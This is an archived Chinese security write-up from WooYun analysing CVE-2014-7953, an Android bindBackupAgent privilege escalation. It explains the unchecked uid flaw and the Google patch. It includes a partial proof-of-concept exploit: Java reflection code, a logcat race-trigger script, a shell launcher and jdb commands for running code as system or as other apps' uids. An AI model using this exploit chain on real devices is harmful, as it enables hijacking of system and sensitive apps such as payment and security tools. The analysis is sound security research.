forked from Trietptm-on-Security/WooYun-2
-
Notifications
You must be signed in to change notification settings - Fork 7
/
ADB backupAgent 提权漏洞分析 (CVE-2014-7953).html
371 lines (287 loc) · 128 KB
/
ADB backupAgent 提权漏洞分析 (CVE-2014-7953).html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
<html>
<head>
<title>ADB backupAgent 提权漏洞分析 (CVE-2014-7953) - hqdvista</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<h1>原文地址:<a href="http://drops.wooyun.org/papers/5752">http://drops.wooyun.org/papers/5752</a></h1>
<p>
<h1>0x00 摘要</h1>
<hr />
<p>CVE-2014-7953是存在于android backup agent中的一个提权漏洞。ActivityManagerService中的bindBackupAgent方法未能校验传入的uid参数,结合另外一个race condition利用技巧,攻击者可以以任意uid(应用)身份执行代码,包括system(uid 1000)。本文对该漏洞进行了详细分析,并给出了利用EXP。攻击的前提条件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一个满足条件的attack surface。</p>
<h1>0x01 背景介绍</h1>
<hr />
<p>BackupService是Android中提供的备份功能,在备份操作中,系统的BackupManager从目标应用获取对方指定的备份数据,然后交给BackupTransport进行数据传输。在恢复备份操作中,BackupManager从Transport中拿回数据并传递给目标应用进行恢复。常见的场景是用户应用的数据备份到Google Cloud,用户在新手机上登录Google账号时数据就被自动恢复回去。</p>
<!--more-->
<p>当然想使用备份功能的应用必须实现BackupAgent组件,继承BackupAgent类或者BackupAgentHelper类,并在AndroidManifest.xml中声明自己,还需要向一个BackupService注册。</p>
<p>在BackupManager进行备份或恢复时,其会以目标应用BackupAgent为内容启动目标应用进程,调用其onCreate函数,以方便其进行具体的应用逻辑相关的备份和恢复操作。</p>
<h1>0x02 漏洞成因</h1>
<hr />
<p>在上文的铺垫之后,我们来看这个漏洞的成因。前面提到BackupAgent会在进行恢复时被调用,具体到ActivityManagerService中的bindBackupAgent函数:</p>
<pre><code>#!java
// Cause the target app to be launched if necessary and its backup agent
12819 // instantiated. The backup agent will invoke backupAgentCreated() on the
12820 // activity manager to announce its creation.
12821 public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822 if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823 enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825 synchronized(this) {
/*...*/
12833 // Backup agent is now in use, its package can't be stopped.
12834 try {
12835 AppGlobals.getPackageManager().setPackageStoppedState(
12836 app.packageName, false, UserHandle.getUserId(app.uid));
12837 } catch (RemoteException e) {
12838 } catch (IllegalArgumentException e) {
12839 Slog.w(TAG, "Failed trying to unstop package "
12840 + app.packageName + ": " + e);
12841 }
12842
12843 BackupRecord r = new BackupRecord(ss, app, backupMode);
12844 ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845 ? new ComponentName(app.packageName, app.backupAgentName)
12846 : new ComponentName("android", "FullBackupAgent");
12847 // startProcessLocked() returns existing proc's record if it's already running
12848 ProcessRecord proc = startProcessLocked(app.processName, app,
12849 false, 0, "backup", hostingName, false, false, false);
12850 if (proc == null) {
12851 Slog.e(TAG, "Unable to start backup agent process " + r);
12852 return false;
12853 }
12854
12855 r.app = proc;
12856 mBackupTarget = r;
12857 mBackupAppName = app.packageName;
12858
12859 // Try not to kill the process during backup
12860 updateOomAdjLocked(proc);
12861
12862 // If the process is already attached, schedule the creation of the backup agent now.
12863 // If it is not yet live, this will be done when it attaches to the framework.
12864 if (proc.thread != null) {
12865 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866 try {
12867 proc.thread.scheduleCreateBackupAgent(app,
12868 compatibilityInfoForPackageLocked(app), backupMode);
12869 } catch (RemoteException e) {
12870 // Will time out on the backup manager side
12871 }
12872 } else {
12873 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874 }
12875 // Invariants: at this point, the target app process exists and the application
12876 // is either already running or in the process of coming up. mBackupTarget and
12877 // mBackupAppName describe the app, so that when it binds back to the AM we
12878 // know that it's scheduled for a backup-agent operation.
12879 }
12880
12881 return true;
12882 }
</code></pre>
<p>ActivityManagerService对外通过Binder暴露了这个接口,当然开头就要求了调用者必须持有android.permission.BACKUP权限,而shell是持有这个权限的。bindBackupAgent最终会将传入的攻击者可控的ApplicationInfo传递给startProcessLocked,并最终通过scheduleCreateBackupAgent调用其onCreate函数。</p>
<p>而ApplicationInfo中的uid可以被任意指定,这是该漏洞的根本原因。</p>
<h1>0x02 漏洞利用</h1>
<hr />
<p>但是想要利用这个漏洞还会遇到几个关键的问题,需要通过其他方法来绕过。</p>
<h3>setPackageStoppedState的权限检查</h3>
<hr />
<p>从代码中可以看到,在startProcessLocked之前会先调用setPackageStoppedState,将可能正在运行的目标package置Stopped状态。这要求binder调用的发起者持有CHANGE_COMPONENT_ENABLED_STATE权限,否则会抛出SecurityException,终止函数运行。很遗憾这是一个系统用户才持有的权限,shell是没有的,强行调用会抛如下异常:</p>
<p><img src="http://static.wooyun.org//drops/20150625/2015062502381334748.png" alt="enter image description here" /></p>
<p>但是可以观察到的是,startPackageStoppedState在抛出IllegalArgumentException时会被catch住,打一个log并继续执行,那么通过PackageManager安装包时的race condition,或者说TOCTOU,可以打一个时间差。</p>
<p>一个猥琐的步骤如下:</p>
<ul>
<li><p>调用pm安装包,在安装过程中某个时刻调用bindBackupAgent。</p></li>
<li><p>startPackageStoppedState时,包并不存在,抛出IllegalArgumentException被catch住并继续执行。</p></li>
<li><p>startProcessRecord时包却已经安装完成了,以攻击者指定的ApplicationInfo启动。</p></li>
</ul>
<p>正常的情况下,当包存在时,会是如下时序:</p>
<p><img src="http://static.wooyun.org//drops/20150625/2015062502381342884.jpg" alt="enter image description here" /></p>
<p>包不存在时,会是如下时序。此时process可以被创建出来,但会立即死亡因为找不到load的代码。极罕见的情况下可能会停留在FC对话框而可以利用。</p>
<p><img src="http://static.wooyun.org//drops/20150625/2015062502381421286.jpg" alt="enter image description here" /></p>
<p>TOCTOU利用时序图如下:</p>
<p><img src="http://static.wooyun.org//drops/20150625/2015062502381435197.jpg" alt="enter image description here" /></p>
<p>这里面关键点是打好时间差,例如可以扩大classes.dex的体积,增加dexopt的时间。在N7上测试成功的POC是通过脚本监控logcat中<em>Copying native libraries to</em>,在此刻触发bindBackupAgent调用,基本每次都能成功。</p>
<h3>handleCreateBackupAgent的检查</h3>
<p>跟一下调用链:</p>
<pre><code>#!java
public final void scheduleCreateBackupAgent(ApplicationInfo app,
658 CompatibilityInfo compatInfo, int backupMode) {
659 CreateBackupAgentData d = new CreateBackupAgentData();
660 d.appInfo = app;
661 d.compatInfo = compatInfo;
662 d.backupMode = backupMode;
663
664 sendMessage(H.CREATE_BACKUP_AGENT, d);
665 }
public void handleMessage(Message msg) {
//omit
case CREATE_BACKUP_AGENT:
1337 Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
1338 handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339 Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340 break;
//omit
}
// Instantiate a BackupAgent and tell it that it's alive
2428 private void handleCreateBackupAgent(CreateBackupAgentData data) {
2429 if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
2430
2431 // Sanity check the requested target package's uid against ours
2432 try {
2433 PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434 data.appInfo.packageName, 0, UserHandle.myUserId());
2435 if (requestedPackage.applicationInfo.uid != Process.myUid()) {
2436 Slog.w(TAG, "Asked to instantiate non-matching package "
2437 + data.appInfo.packageName);
2438 return;
2439 }
2440 } catch (RemoteException e) {
2441 Slog.e(TAG, "Can't reach package manager", e);
2442 return;
2443 }
//omit
2448 // instantiate the BackupAgent class named in the manifest
2449 LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450 String packageName = packageInfo.mPackageName;
//omit
2461
2462 BackupAgent agent = null;
2463 String classname = data.appInfo.backupAgentName;
2464
2465 // full backup operation but no app-supplied agent? use the default implementation
2466 if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467 || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468 classname = "android.app.backup.FullBackupAgent";
2469 }
2470
2471 try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png)
2472 IBinder binder = null;
2473 try {
2474 if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
2475
2476 java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477 agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479 // set up the agent's context
2480 ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
2481 context.setOuterContext(agent);
2482 agent.attach(context);
2483
2484 agent.onCreate();
2485 binder = agent.onBind();
2486 mBackupAgents.put(packageName, agent);
2487 } catch (Exception e) {
2488 //omit
2496 }
//omit
2508 }
2509
</code></pre>
<p>该函数的作用是在Package中寻找定义的BackupAgent类,如果不存在则以android.app.backup.FullBackupAgent代替,并执行其onCreate函数。</p>
<p>如果控制了进程uid为system,在onCreate函数放置我们的代码就万事大吉了。但很遗憾开头就有一个检查,对比当前进程的uid(注意ActivityThread的代码是在被启动package的进程空间内执行的,所以Process.myUid即是目标package的uid)和PackageManager在安装时记录的uid,不符合则log并退出。这就砍掉了改onCreate利用的想法。</p>
<p>但天无绝人之路,jdwp come to rescure. 进程和VM已经起来了,安装包的debuggable flag又是攻击者可指定的,那么jdwp attach上去执行代码,就柳暗花明又一村。</p>
<h1>0x03 喜闻乐见的shell...吗</h1>
<hr />
<p>顺利的话system身份进程已经启动。</p>
<p><img src="http://static.wooyun.org//drops/20150625/2015062502381562856.png" alt="enter image description here" /></p>
<p>如果我们再去打开测试应用,会看到两个不同uid的同package进程并存,如下图:</p>
<p><img src="http://static.wooyun.org//drops/20150625/2015062502381514159.png" alt="enter image description here" /></p>
<p>这里会有两种情况:</p>
<ul>
<li><p>进程以system的uid启动,但由于没有实例化和调用onCreate,这个进程是个空壳。这是最常见的情况。</p></li>
<li><p>进程以system的uid启动,出现一个Application Crash时的FC对话框。有意思的是某些罕见情况下直接访问backupAgent接口就会触发该对话框。</p></li>
</ul>
<p>对于这两种情况,attach上之后触发的断点也并不一样。对于第一个来说,线程会block在nativePollOnce上,如下图所示:</p>
<p><img src="http://static.wooyun.org//drops/20150625/2015062502381586761.png" alt="enter image description here" /></p>
<p>这种情况利用的一个关键因素是需要让线程跳出nativePollOnce,也就是说需要让其接收到一个消息,然后才能下断点执行代码, 但诡异之处就在于这时候起的进程是一个空壳,不存在GUI界面,常规的操作触发和intent触发都是没有效果的,这岂不是强人所难?这里就需要一个任何ActivityThread都会接收到的非GUI事件非组件的事件消息并触发它,才能跳出这个轮回。通过某种猥琐的方式,是可以做到这点的,读者可以思考下哪些可以达到这个目的。</p>
<p>第二种则会因为异常捕获断在handleApplicationCrash上,这种比较好处理,直接下断点即可。</p>
<p>总之我们利用intellij或者jdb作为载体,通过jdwp即可以system权限或者以其他uid的身份执行代码。</p>
<p>附效果截图:</p>
<p>system:</p>
<p><img src="http://static.wooyun.org//drops/20150625/2015062502381633462.png" alt="enter image description here" /></p>
<p>当然我们也可以变幻成什么xx卫士啊,xx钱盾,xx付宝之类进程的uid,从而控制这些敏感应用。附xx卫士的截图:</p>
<p><img src="http://static.wooyun.org//drops/20150625/2015062502381694422.png" alt="enter image description here" /></p>
<p>可以看到我们的应用已经和xx卫士是一个uid同床共枕了,接下来怎么发挥就看诸君想象力了。</p>
<h1>0x04 部分POC:</h1>
<hr />
<h4>myapp:</h4>
<pre><code>#!java
public class Test {
public static void main(String []args)
{
test(Integer.parseInt(args[0]));
}
public static void test(Integer uid)
{
try {
Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");
Object iActivityManager = bindBackupAgent.invoke(null);
Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);
ApplicationInfo applicationInfo = new ApplicationInfo();
applicationInfo.dataDir = "/data/data/com.example.myapp";
applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
applicationInfo.processName = "com.example.myapp";
applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
applicationInfo.taskAffinity = "com.example.myapp";
applicationInfo.packageName = "com.example.myapp";
applicationInfo.flags = 8961606;
applicationInfo.uid = uid;
bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
</code></pre>
<p>将其编译为jar并通过app_process执行。注意在myapp没有安装时直接执行会造成后续INSTALL_FAILED_UID_CHANGED错误,具体原因可参照我之前写的denial-of-app分析。</p>
<p>监控py脚本:</p>
<pre><code>#!python
from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
for line in iter(p.stdout.readline, b''):
if line.find(KW) != -1:
print line
os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()
</code></pre>
<p>test.sh</p>
<pre><code>#!bash
export ANDROID_DATA=/data/local/tmp/
export CLASSPATH=/data/local/tmp/MyTest.jar
app_process /data/local/tmp/ com.example.MyTest $@
</code></pre>
<p>jdb命令:</p>
<pre><code>#!java
threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print new java.lang.Runtime.exec("id")
</code></pre>
<h1>0x05 修复:</h1>
<hr />
<p>Google对该漏洞的修复非常简单,对bindBackupAgent接口校验了FULL_BACKUP这个system级别的权限,砍掉了最初的入口。</p>
<h3>References:</h3>
<ul>
<li>http://www.securityfocus.com/archive/1/535296/30/0/threaded</li>
<li>http://www.saurik.com/id/17</li>
<li>http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822</li>
<li>http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29</li>
</ul> </p>
</body>
</html>